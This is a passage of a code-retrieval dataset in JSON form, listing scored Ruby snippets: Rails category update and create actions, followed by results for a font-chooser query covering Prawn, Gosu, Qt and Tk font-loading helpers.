"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to :back, notice: 'category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cceca8bf9ac2a0d13166a588afc2521c",
"score": "0.5640376",
"text": "def update\n @current_page = 'recettes'\n @recette = Recette.find(params[:id])\n # params[:recette][:category_ids] ||= []\n\n @recette.update_attributes!(recette_params)\n redirect_to @recette\n end",
"title": ""
},
{
"docid": "ae71e441e462b175668c9f34c7aecef7",
"score": "0.56360793",
"text": "def update\n respond_to do |format|\n if @contractor_category.update(contractor_category_params)\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully updated.' }\n format.json { render :show, status: :ok, location: @contractor_category }\n else\n format.html { render :edit }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7077a9a63282d4b02c687ebd6e9588f2",
"score": "0.56358135",
"text": "def update\n if params[:project][:category_list].present?\n @project.category_list = []\n params[:project][:category_list].each do |cat|\n @project.category_list.add(cat)\n end \n end\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "181be02fa58f4cd015df92e970c95fa0",
"score": "0.5631634",
"text": "def update\n respond_to do |format|\n if @rcadmin_category.update(rcadmin_category_params)\n\t\tflash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to rcadmin_categories_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rcadmin_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5949395f75f1d67c73ed413d392f402",
"score": "0.5626213",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_dashboard_categories_path, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a64cc3f29becb54612eea84125a6636a",
"score": "0.56231236",
"text": "def update\n @super_category = SuperCategory.find(params[:id])\n\n respond_to do |format|\n if @super_category.update_attributes(params[:super_category])\n format.html { redirect_to @super_category, notice: 'Super category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.5622495",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.5622495",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.5622495",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "92d4617b89a132d8002c822b0473bd18",
"score": "0.56206924",
"text": "def update\n respond_to do |format|\n if @gt_category.update(gt_category_params)\n format.html { redirect_to @gt_category, notice: 'Gt category was successfully updated.' }\n format.json { render :show, status: :ok, location: @gt_category }\n else\n format.html { render :edit }\n format.json { render json: @gt_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a704388123a267cf8f5993e810d1509b",
"score": "0.5619434",
"text": "def update\n @course_category = CourseCategory.find(params[:id])\n\n respond_to do |format|\n if @course_category.update_attributes(params[:course_category])\n format.html { redirect_to @course_category, notice: 'Course category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b057f6feef310937664c4f2cf2a16de",
"score": "0.56143117",
"text": "def create\n @category = current_mall.categories.new(params[:category])\n\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7cd57850e5f6508847c06550a08e746b",
"score": "0.56134963",
"text": "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac47ddc2a02d0292430b6faac6463a08",
"score": "0.5612503",
"text": "def update\n respond_to do |format|\n if @raffle_category.update(raffle_category_params)\n format.html { redirect_to @raffle_category, notice: 'Raffle category was successfully updated.' }\n format.json { render :show, status: :ok, location: @raffle_category }\n else\n format.html { render :edit }\n format.json { render json: @raffle_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62fd92a8a9837e48111b413cd811886a",
"score": "0.56114495",
"text": "def update\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n if @cat.update_attributes(params[:cat])\n _update_topics \n format.html { redirect_to action: \"edit\", notice: 'Cat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfc98e6c634daef18049d03ea1bd43c4",
"score": "0.56068176",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Категория изменена.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0bcb39be50d79d34c3822868445f2577",
"score": "0.56068164",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79a20ab5d89de90f7052f3320cce3482",
"score": "0.56063604",
"text": "def set_categ\n @categ = Categ.find(params[:id])\n end",
"title": ""
},
{
"docid": "4c3afc035f4ece92a804bf21059f620e",
"score": "0.56062895",
"text": "def update\n begin\n if @auction_category.update_category!(auction_category_params, params[:auction_category][:attribute_ids])\n flash_msg('success', '修改分类成功!', 'index')\n end\n rescue Exception => e\n flash['danger'] = '修改分类失败!#{error_msg(@auction_category)}'\n return redict_to action: 'edit', id: @auction_category.id\n end\n end",
"title": ""
},
{
"docid": "cb18a171b17c78caa6f6700f7bd5555f",
"score": "0.56034374",
"text": "def set_categories_post\n @categories_post = CategoriesPost.find(params[:id])\n end",
"title": ""
}
] |
039b995045a0a3fbd1c9363193e65b68
|
A font chooser routine. html[:fontcommand] = pick_font
|
[
{
"docid": "9e4a81c8b4ebfd433fff924b332a7f76",
"score": "0.6987351",
"text": "def pick_font(size, attrs)\n # puts \"FontCmd: #{size} #{attrs}\"\n [ ((attrs =~ /fixed/)? 'courier': 'charter'), \n (12 * (1.2**(size.to_f - 4.0))).to_i, \n ((attrs =~ /italic/)? 'italic': 'roman'), \n ((attrs =~ /bold/)? 'bold': 'normal') ].join(' ')\n end",
"title": ""
}
] |
[
{
"docid": "5c406ab3dcae057e439bcfdc440cddc7",
"score": "0.7446383",
"text": "def font(options) end",
"title": ""
},
{
"docid": "7c2faaf7a74f1b2166305830174c9cd7",
"score": "0.6683933",
"text": "def process_font_name( selector, property, value )\n\t\tprocess_normal_style_attr(selector, \"font-family\", value)\t\n\tend",
"title": ""
},
{
"docid": "1228ee3cffa91bb8a40dfb9504a623d3",
"score": "0.6661739",
"text": "def applyFont; end",
"title": ""
},
{
"docid": "2febf686e36e7fa994a7984cd8c62cb7",
"score": "0.66597116",
"text": "def font(value)\n @options[:font] = value\n end",
"title": ""
},
{
"docid": "290a0eba34abff34d591bb4d4b4818a5",
"score": "0.66194445",
"text": "def local_font(body)\n opts_array = [ @var[:skin][:font].dup, @var[:skin][:font_size] ]\n params = body.split\n\n # Should we spawn a dialog?\n if params.empty?\n chooser = FontDialogBox.new(@fox_app, opts_array)\n chooser.create\n if chooser.execute(PLACEMENT_OWNER) != 1\n return nil\n end\n\n # Some manual options were specified\n else\n opts_array[0] = params.first.dup\n size = params[1].to_i\n opts_array[1] = size if size >= 5\n end\n\n # Font options are now in opts_array\n @var[:skin][:font] = opts_array[0]\n @var[:skin][:font_size] = opts_array[1]\n @window.apply_skin(@skin)\n _save_env\n true \nend",
"title": ""
},
{
"docid": "2395d99f38d40a3f5f2aedc6e4716aa8",
"score": "0.65561384",
"text": "def font; end",
"title": ""
},
{
"docid": "3a2784e6e6c426b720bb4680f61a96f9",
"score": "0.65420496",
"text": "def style\n return nil unless options[:font]\n \"style='font-family:#{font}'\"\n end",
"title": ""
},
{
"docid": "e26987da37f28bdb20fd7d6a24a4a82c",
"score": "0.6537692",
"text": "def set_font(fontname)\n @font = fontname\n end",
"title": ""
},
{
"docid": "32eff6d2a35af177ef7db24046a604a5",
"score": "0.6512547",
"text": "def get_font(font_name)\n fonts[font_name]\n end",
"title": ""
},
{
"docid": "32eff6d2a35af177ef7db24046a604a5",
"score": "0.6512547",
"text": "def get_font(font_name)\n fonts[font_name]\n end",
"title": ""
},
{
"docid": "75cfb6f3cd0aba23a12a054b471e935c",
"score": "0.64597416",
"text": "def pick_font_fs(size, attrs)\n baseFontSize = 24\n\n # puts \"FontCmd: #{size} #{attrs}\"\n [ ((attrs =~ /fixed/)? 'courier': 'charter'), \n (baseFontSize * (1.2**(size.to_f - 4.0))).to_i, \n ((attrs =~ /italic/)? 'italic': 'roman'), \n ((attrs =~ /bold/)? 'bold': 'normal') ].join(' ')\n end",
"title": ""
},
{
"docid": "3265e6f5eb20756621d3c149d3986701",
"score": "0.6428397",
"text": "def query_font (*args)\n query_font!(*args).wait\n end",
"title": ""
},
{
"docid": "c0f1189d0063a38fe30bd00b21ac49de",
"score": "0.6412526",
"text": "def fonts; end",
"title": ""
},
{
"docid": "2eac00d58a9da73b9caf67850dbc79c7",
"score": "0.6372519",
"text": "def get_font(name, options)\r\n raise UnexistingFontError if name.nil?\r\n font_name = name.to_s\r\n # Font name shold contain only lower case alphabets and underscores.\r\n raise UnexistingFontError unless\r\n /\\A[a-z][a-z_]*[a-z]\\z/ === font_name\r\n # Font name should contain one underscore at a time.\r\n raise UnexistingFontError if /_{2,}/ === font_name\r\n # Constantize font.\r\n font_class_name = font_name.gsub(/(?:^|_)(.)/){$1.upcase}\r\n font_class = eval(\"Fonts::#{font_class_name}\") rescue UnexistingFontError\r\n # Find font instance in document.\r\n font_key = font_class.key(options)\r\n if @document.fonts.key?(font_key)\r\n font = @document.fonts[font_key]\r\n else\r\n font = font_class.new(@document, options)\r\n @document.fonts.update(font_key => font)\r\n end\r\n # Set font in page instance.\r\n @page.set_font(font_key, font)\r\n font\r\n end",
"title": ""
},
{
"docid": "cc1025fee6898b1caeabda940ac8585a",
"score": "0.6320869",
"text": "def load_font(name, specification_hash)\n # do something\n end",
"title": ""
},
{
"docid": "5bd7721af2df40f18f2988e4c4ec777d",
"score": "0.63147885",
"text": "def retrieve_font(p_args)\n\t\t\tbegin\n\t\t\t\n\t\t\t\t# Normalize arguments\n\t\t\t\tp_args[:style] ||= :normal\n\t\t\t\tp_args[:size] ||= @@settings[:default_font_size]\n\t\t\t\n\t\t\t\t# Gather required font information\n log.info p_args[:path]\n\t\t\t\tid = @@font_db.addApplicationFont(p_args[:path])\n\t\t\t\tfamily_name = @@font_db.applicationFontFamilies(id).first\n\t\t\t\t\n\t\t\t\t# Create a font with the provided specifics\n\t\t\t\tresult = @@font_db.font(family_name, p_args[:style].to_s.capitalize, p_args[:size])\n\t\t\t\t\n\t\t\t\t# Return result\n\t\t\t\tresult\n\n # Rescue any exception\n\t\t\trescue Exception => e\n\t\t\t\tlog.error \"Font retrieval failed, check resource paths (they unfortunately need to be hardcoded) !\"\n log.error e\n\t\t\tend\n end",
"title": ""
},
{
"docid": "2e68cb18781b22a20e64554da0ef24ef",
"score": "0.6301684",
"text": "def font_family\n font.options[:family]\n end",
"title": ""
},
{
"docid": "016edf04b168496edaa632f12b5ee65d",
"score": "0.6297339",
"text": "def font(font, size=nil)\n style = CharacterStyle.new\n style.font = font\n style.font_size = size\n root.fonts << font\n if block_given?\n apply(style) {|node| yield node}\n else\n apply(style)\n end\n end",
"title": ""
},
{
"docid": "d671a1fd9cef3ba099c2aa5283f94065",
"score": "0.6276721",
"text": "def use_font(name, opts = {})\n @font = @structure.find_or_initialize_font(name, opts)\n @page.add_font(@font)\n @font\n end",
"title": ""
},
{
"docid": "3cd31d57d6d6dfd0a47a803622f3b531",
"score": "0.6246394",
"text": "def load_font(font_array)\r\n # load default font\r\n font = nil\r\n font_array.detect do |name|\r\n next if FXFont.listFonts(name).empty?\r\n font = FXFont.new(FXApp::instance, name, $cfg.app.font.size)\r\n end\r\n font\r\n end",
"title": ""
},
{
"docid": "c8e9fe4dfaad9b892037ac4c2b9d7012",
"score": "0.62363356",
"text": "def set_text_font_and_size(name, size) # {[:TT0, 1]}\n font_obj = context.fonts[name]\n @font_size = size\n if font_obj\n @font = font_obj[:BaseFont].to_s.split('+').last\n else\n @font = \"Arial\" # TODO: make this a configurable font\n end\n STDERR.puts \"set_text_font_and_size #{name}, #{size}: #{@font}\"\n end",
"title": ""
},
{
"docid": "c790b598c11207f592b04003ee136d3f",
"score": "0.62359756",
"text": "def find_font(name, options = {}) #:nodoc:\n if font_families.key?(name)\n family = name\n name = font_families[name][options[:style] || :normal]\n if name.is_a?(::Hash)\n options = options.merge(name)\n name = options[:file]\n end\n end\n key = \"#{name}:#{options[:font] || 0}\"\n\n if name.is_a? Prawn::Font\n font_registry[key] = name\n else\n font_registry[key] ||=\n Font.load(self, name, options.merge(family: family))\n end\n end",
"title": ""
},
{
"docid": "7ce179a3659afcad69a064c88f62edb2",
"score": "0.6187309",
"text": "def font_path(path); end",
"title": ""
},
{
"docid": "7ce179a3659afcad69a064c88f62edb2",
"score": "0.6187309",
"text": "def font_path(path); end",
"title": ""
},
{
"docid": "7ce179a3659afcad69a064c88f62edb2",
"score": "0.6187309",
"text": "def font_path(path); end",
"title": ""
},
{
"docid": "7ce179a3659afcad69a064c88f62edb2",
"score": "0.6187309",
"text": "def font_path(path); end",
"title": ""
},
{
"docid": "04b5d3bb34b47cc5efed8930bb4340a0",
"score": "0.6176424",
"text": "def default_font_name(); end",
"title": ""
},
{
"docid": "377ddb78d6e11a29227d77e958334bd3",
"score": "0.61704934",
"text": "def font\n @font_path\n end",
"title": ""
},
{
"docid": "dc3aa17947793cd15fc06304cdc549ac",
"score": "0.6154373",
"text": "def font=(f)\n self[:font] = f\n end",
"title": ""
},
{
"docid": "7d1ca2a87b656eab6675381ff9344a2c",
"score": "0.6136921",
"text": "def font_family\n font.options[:family]\n end",
"title": ""
},
{
"docid": "5b49e5fb13cd517edd5a4dab0acf178b",
"score": "0.61115205",
"text": "def font_name; end",
"title": ""
},
{
"docid": "5b49e5fb13cd517edd5a4dab0acf178b",
"score": "0.61115205",
"text": "def font_name; end",
"title": ""
},
{
"docid": "7f01066960caea2b4afbc5aac4c935c1",
"score": "0.6082107",
"text": "def install_font\n require \"win32ole\" if RUBY_PLATFORM.match?(/mswin|mingw|windows/)\n fonts_dir = Chef::Util::PathHelper.join(ENV[\"windir\"], \"fonts\")\n folder = WIN32OLE.new(\"Shell.Application\").Namespace(fonts_dir)\n converge_by(\"install font #{new_resource.font_name} to #{fonts_dir}\") do\n folder.CopyHere(Chef::Util::PathHelper.join(ENV[\"TEMP\"], new_resource.font_name))\n end\n end",
"title": ""
},
{
"docid": "d057f3464040fa93d689a8ebef98fc74",
"score": "0.6080214",
"text": "def set_font\n @font = Font.find(params[:id])\n end",
"title": ""
},
{
"docid": "d057f3464040fa93d689a8ebef98fc74",
"score": "0.6080214",
"text": "def set_font\n @font = Font.find(params[:id])\n end",
"title": ""
},
{
"docid": "d057f3464040fa93d689a8ebef98fc74",
"score": "0.6080214",
"text": "def set_font\n @font = Font.find(params[:id])\n end",
"title": ""
},
{
"docid": "d057f3464040fa93d689a8ebef98fc74",
"score": "0.6080214",
"text": "def set_font\n @font = Font.find(params[:id])\n end",
"title": ""
},
{
"docid": "7efc6063cd2b86a910e25fc17147d6d2",
"score": "0.6076986",
"text": "def init_fonts\n default = Gosu.default_font_name\n @font = Gosu::Font.new(self, Config['font_name'].presence || default, 18)\n @small_font = Gosu::Font.new(self, Config['small_font_name'].presence || default, 14)\n end",
"title": ""
},
{
"docid": "c5e2ed30edeac7ef6ab91bcc85ef6d25",
"score": "0.60764694",
"text": "def font\n @font ||= YAML.load(File.new(\"#{Gem.loaded_specs['peter_pan'].full_gem_path}/fonts/#{@font_name}.yml\").read)\n end",
"title": ""
},
{
"docid": "3aa394d678c1e55a9a79109e2692bce5",
"score": "0.60630953",
"text": "def extract_fonts(options)\n b = options[:bodyfont] || \"Arial\"\n h = options[:headerfont] || \"Arial\"\n m = options[:monospacefont] || \"Courier\"\n \"$bodyfont: #{b};\\n$headerfont: #{h};\\n$monospacefont: #{m};\\n\"\n end",
"title": ""
},
{
"docid": "3ade3f39e92f5d66924c5d34b1836dac",
"score": "0.60328555",
"text": "def font(key)\n single_font = @config[key.to_s]['font']\n return single_font if single_font\n\n fonts = @config[key.to_s]['fonts']\n if fonts\n fonts.each do |font|\n if font['supported']\n font['supported'].each do |language|\n if screenshot.language == language\n return font[\"font\"]\n end\n end\n else\n # No `supported` array, this will always be true\n UI.verbose(\"Found a font with no list of supported languages, using this now\")\n return font[\"font\"]\n end\n end\n end\n\n UI.verbose(\"No custom font specified for #{screenshot}, using the default one\")\n return nil\n end",
"title": ""
},
{
"docid": "7175e2878e68348b6416eacdebebae9a",
"score": "0.60316664",
"text": "def fonts_args\n fonts.empty? ? \"\" : \"-fp #{fonts}\"\n end",
"title": ""
},
{
"docid": "dd2f604dd5372cb4f7b3cf9015d31873",
"score": "0.6023422",
"text": "def load_font(name, size)\r\n @fonts ||= {}\r\n @fonts[[name,size]] ||= Gosu::Font.new self, font_path(name), size\r\n end",
"title": ""
},
{
"docid": "807fbeddf3d671bafe1cb5f93b87330b",
"score": "0.6011426",
"text": "def font\n self[:font]\n end",
"title": ""
},
{
"docid": "f2afbabd819c940d7c8f27a8f0b951dd",
"score": "0.60103464",
"text": "def find_font(otherwise, style, size, *families)\n avail_families = Java::JavaAwt::GraphicsEnvironment.local_graphics_environment.available_font_family_names\n fontname = families.find(proc {otherwise}) { |name| avail_families.include? name }\n Java::JavaAwt::Font.new(fontname, style, size)\n end",
"title": ""
},
{
"docid": "3eb537f975ccc1a58a362d95a86891ee",
"score": "0.60072607",
"text": "def font_load(hash)\n puts \"Loading #{hash[:name]} at size #{hash[:size]}}\"\nend",
"title": ""
},
{
"docid": "fb0d43e556476b073dffd98a154e8fc8",
"score": "0.6002324",
"text": "def get_font(size)\n @fonts[size] ||= Gosu::Font.new(size)\n end",
"title": ""
},
{
"docid": "4f4dcc0000c821819f968a4efdf0a5c6",
"score": "0.598658",
"text": "def find_font(otherwise, style, size, *families)\n avail_families = java.awt.GraphicsEnvironment.local_graphics_environment.available_font_family_names\n fontname = families.find(proc {otherwise}) { |name| avail_families.include? name }\n Font.new(fontname, style, size)\nend",
"title": ""
},
{
"docid": "4f4dcc0000c821819f968a4efdf0a5c6",
"score": "0.598658",
"text": "def find_font(otherwise, style, size, *families)\n avail_families = java.awt.GraphicsEnvironment.local_graphics_environment.available_font_family_names\n fontname = families.find(proc {otherwise}) { |name| avail_families.include? name }\n Font.new(fontname, style, size)\nend",
"title": ""
},
{
"docid": "6348cdce5153f9ca98b6a94c4151be59",
"score": "0.5985157",
"text": "def save_font\n @font ||= find_font('Helvetica')\n original_font = @font\n original_size = @font_size\n\n yield\n ensure\n set_font(original_font, original_size) if original_font\n end",
"title": ""
},
{
"docid": "94c442aa1866560c049d73f6bc8c1213",
"score": "0.59849364",
"text": "def SetFont(family, style='', size=0, fontfile='')\n # Select a font; size given in points\n if size == 0\n size = @font_size_pt\n end\n # try to add font (if not already added)\n fontdata = AddFont(family, style, fontfile)\n @font_family = fontdata['family']\n @font_style = fontdata['style']\n @current_font = getFontBuffer(fontdata['fontkey'])\n SetFontSize(size)\n end",
"title": ""
},
{
"docid": "bf63b38678be6f76f1c7e9a46a639352",
"score": "0.5976492",
"text": "def font(name, family = nil, character_set = 0, pitch = 2)\n unless index = @fonts.index {|f| f.name == name}\n index = @fonts.size\n opts = WizRtf::Font::FONTS.detect {|f| f[:name] == name}\n if opts\n @fonts << WizRtf::Font.new(opts[:name], opts[:family], opts[:character], opts[:pitch])\n else\n @fonts << WizRtf::Font.new(name, family, character_set, pitch)\n end\n end\n index\n end",
"title": ""
},
{
"docid": "6c5ad8528e041987db863a83c2ad333e",
"score": "0.59736794",
"text": "def load_fonts\n @@fonts[\"menu\"] = Gosu::Font.new(self, \"Courier\", 40)\n @@fonts[\"score\"] = Gosu::Font.new(self, \"Courier\", 50)\n @@fonts[\"small\"] = Gosu::Font.new(self, \"Courier\", 30)\n end",
"title": ""
},
{
"docid": "b869b85b04dda5722d0f57328c594dea",
"score": "0.59700465",
"text": "def regular_font(options = {}, &block)\n switch_font(options.merge(style: :normal), &block)\n end",
"title": ""
},
{
"docid": "2ed563bc9aca4b864d928f5c0d155a23",
"score": "0.5966832",
"text": "def font_info\n { family: font.options[:family], style: (font.options[:style] || :normal), size: @font_size }\n end",
"title": ""
},
{
"docid": "b4f57cf06b9a2514a0684ba300c59ada",
"score": "0.59595174",
"text": "def setup \n size 640, 360 \n @x = 30 \n PFont::list.each {|fnt| puts fnt} \n @font = create_font(\"Georgia\", 24) \n text_font @font, 32 \n no_loop\nend",
"title": ""
},
{
"docid": "b239455a7d6bb3b0007a805ffa3f0421",
"score": "0.5959364",
"text": "def font_info\n { family: font.options[:family], style: (font.options[:style] || :normal), size: @font_size }\n end",
"title": ""
},
{
"docid": "2f30bb8f600ec36382506937390b1157",
"score": "0.5944846",
"text": "def print_fonts\n fonts = ['courier','times roman', 'helvetica']\n fonts.each do |font|\n puts font\n end\n end",
"title": ""
},
{
"docid": "7a88b6a94f507fd8a5bf2b81a277ff75",
"score": "0.5942395",
"text": "def use_code_font\n @pdf.select_font @code_font, @code_font_encoding\n end",
"title": ""
},
{
"docid": "3589306ec4b10415f080a74050a1e0b8",
"score": "0.5935471",
"text": "def list_fonts (*args)\n list_fonts!(*args).wait\n end",
"title": ""
},
{
"docid": "b3ca6a75ad933e43a894520ce2a35d18",
"score": "0.59113365",
"text": "def setup\n size 300, 200\n @typing, @saved = \"\", \"\"\n text_font create_font \"Arial\", 16, true # set the font for text\nend",
"title": ""
},
{
"docid": "6029b1ce423a1a57b1da888b5a133e30",
"score": "0.59078175",
"text": "def font=(font_path)\n @font = font_path\n @d.font = @font\n end",
"title": ""
},
{
"docid": "4309e68943cf8b0f69006be2b4d9923b",
"score": "0.5900553",
"text": "def update_font_settings\n change_font_setting(:default_name, :font_name)\n change_font_setting(:default_size, :font_size)\n change_font_setting(:default_bold, :bold)\n change_font_setting(:default_italic, :italic)\n change_font_setting(:default_shadow, :shadow)\n change_font_setting(:default_outline, :outline)\n change_font_setting(:default_color, :font_color)\n change_font_setting(:default_out_color, :font_out_color)\n end",
"title": ""
},
{
"docid": "1bed9fd019a594df77c25d1202b591ff",
"score": "0.58835876",
"text": "def wisdom_script; send_font \"wisdom_script-webfont.ttf\" end",
"title": ""
},
{
"docid": "c2b343697e4d94fde7a2b3c5b85bac1d",
"score": "0.58737683",
"text": "def font(message)\n # returns an array of font family names\n throw NotImplementedError\n end",
"title": ""
},
{
"docid": "4950894069a2d94180a76c47b927dee6",
"score": "0.58656234",
"text": "def set_default_font\r\n @font = load_font($cfg.app.font.name)\r\n FXApp::instance.normalFont = @font if @font\r\n end",
"title": ""
},
{
"docid": "b5dd8b920cf6c321a4b8209276a5d322",
"score": "0.5855436",
"text": "def set_font(font_name)\n itr = @form.getFields.keySet.iterator\n while itr.hasNext\n field = itr.next\n @form.setFieldProperty(field, 'textfont', create_font(font_name), nil)\n end\n end",
"title": ""
},
{
"docid": "54f1ad6ef88b26b01c0be4dbc7fbc9cd",
"score": "0.5849402",
"text": "def load_font(*args, &block)\n Handle::Font.create(super(*args), self).tap do |font|\n if block_given?\n block.call(font, self)\n font.close_font if font != -1\n end\n end\n end",
"title": ""
},
{
"docid": "49f39f9a6048368930083810880f90fe",
"score": "0.58401495",
"text": "def open_font (*args)\n open_font!(*args).abandon\n end",
"title": ""
},
{
"docid": "49b48f0fc3385d0c81028359aca78797",
"score": "0.58345085",
"text": "def derive_font(p_args)\n begin\n\n # Recalibrate parameters\n p_args[:style] || Qt::Font::StyleNormal\n p_args[:size] ||= @@settings[:default_font_size]\n\n # Get base font by matching parameter, has to be demux'd, a bit ugly\n case p_args[:base]\n when Qt::Font::Light\n base_font_s = \"@font_light\"\n\n when Qt::Font::Normal\n base_font_s = \"@font_regular\"\n\n when Qt::Font::Bold\n base_font_s = \"@font_bold\"\n\n else # includes when Qt::Font::Black\n base_font_s = \"@font_black\"\n end\n\n # Apply italic style, if required. StyleOblique is ignored.\n base_font_s += \"_italic\" if p_args[:style] == Qt::Font::StyleItalic\n\n # Retrieve instance var, break if not available\n base_font = instance_variable_get(base_font_s.to_sym)\n return nil if base_font.nil?\n\n # Derive a new font using the FontDatabase\n font = @@font_db.font(base_font.family, p_args[:base].to_s.capitalize, p_args[:size])\n apply_font_properties(font)\n\n # Return result\n font\n\n # Rescue any exception\n rescue Exception => e\n log.error e\n end\n end",
"title": ""
},
{
"docid": "d6a759a605e3800b5f161cf84137d59c",
"score": "0.5822848",
"text": "def set_font(type, style_only=false)\n fsize_regex = /\\d+(?=px)?/\n style_regex = /none|bold|normal|oblique|italic/i # TODO: Add more\n ffamily = type.gsub(style_regex,'').gsub(/\\d+(px)?/,'').split(',').\n map { |x| x.strip.gsub(/[\"]/,'') }\n\n unless style_only\n font_family = DEFAULT_TEXTBLOCK_FONT\n font_family = ffamily unless (ffamily.size == 1 and ffamily[0] == \"\") or ffamily.size == 0\n font_size = type.scan(fsize_regex).first.to_i unless type.scan(fsize_regex).empty?\n end\n style_options = type.scan(style_regex).map { |x| x.to_sym }\n\n p \"shose..\"\n @gui.set_font font_family, style_options, font_size\n end",
"title": ""
},
{
"docid": "6faed71c3705712d0bc786cf3c234d7b",
"score": "0.5820523",
"text": "def font=(font)\n clear_cache\n if font.is_a?(UIFont)\n @font_name = font.fontName\n @font_size = font.pointSize\n else\n fail \"Not support font type #{font}\"\n end\n end",
"title": ""
},
{
"docid": "773e9fd13395e76caad3c02f25feb9a6",
"score": "0.5819229",
"text": "def font_task(style, language)\n \"font:#{style}:#{language}\"\nend",
"title": ""
},
{
"docid": "a6a8572d9f9523d76375112ffa1a17c3",
"score": "0.58167565",
"text": "def font\n with_font { @pdf.font }\n end",
"title": ""
},
{
"docid": "bae91ec854278e43ec896259a93fc016",
"score": "0.5810386",
"text": "def set_arial_family\n # Stores location of font files for use\n font_families.update('Arial' => { normal: './arial.ttf',\n italic: './ariali.ttf',\n bold: './arialbd.ttf',\n bold_italic: './arialbi.ttf' })\n # Set current working font to Arial\n font('Arial')\nend",
"title": ""
},
{
"docid": "30a36529cb9a4e8b9d93623cb0ba3a3d",
"score": "0.5802601",
"text": "def font\n FONT\n end",
"title": ""
},
{
"docid": "30a36529cb9a4e8b9d93623cb0ba3a3d",
"score": "0.5802601",
"text": "def font\n FONT\n end",
"title": ""
},
{
"docid": "cedbf900b77fae87d1d502751000f1eb",
"score": "0.5799226",
"text": "def initialize\n super(:paper => 'LEGAL')\n \n # Set the font-family we will be using throughout\n font_families[\"Helvetica\"] = {\n \"b\" => \"Helvetica-Bold\",\n \"i\" => \"Helvetica-Oblique\",\n \"bi\" => \"Helvetica-BoldOblique\",\n \"ib\" => \"Helvetica-BoldOblique\"\n }\n \n select_font \"Helvetica\"\n end",
"title": ""
},
{
"docid": "0242d79ad8a05a86dd27d0fb97ee4daf",
"score": "0.5795417",
"text": "def find_font name, size = 16\n font = Dir[\"#{FONT_GLOB}/#{name}.{ttc,ttf}\"].first\n\n raise ArgumentError, \"Can't find font named '#{name}'\" unless font\n\n SDL::TTF.open(font, size)\n end",
"title": ""
},
{
"docid": "474e8965c262f3dc1ac69a3e24a7e070",
"score": "0.57948464",
"text": "def add_font(name, options = {})\n font = @typekit.family_by_name(name)\n \n if options[:include_variations]\n # We're silently ignoring invalid variations\n variations = options[:include_variations] & font.variations.map(&:to_fvd)\n else\n # Add all variations available by default\n variations = font.variations.map(&:to_fvd)\n end\n \n @fonts << { :id => font.id, :variations => variations }\n end",
"title": ""
},
{
"docid": "799ccd3e6a21d979d8824959bc024ec2",
"score": "0.5792096",
"text": "def start_font_face\n end",
"title": ""
},
{
"docid": "6069b8d9d853b087641ddaad99ef631f",
"score": "0.5777386",
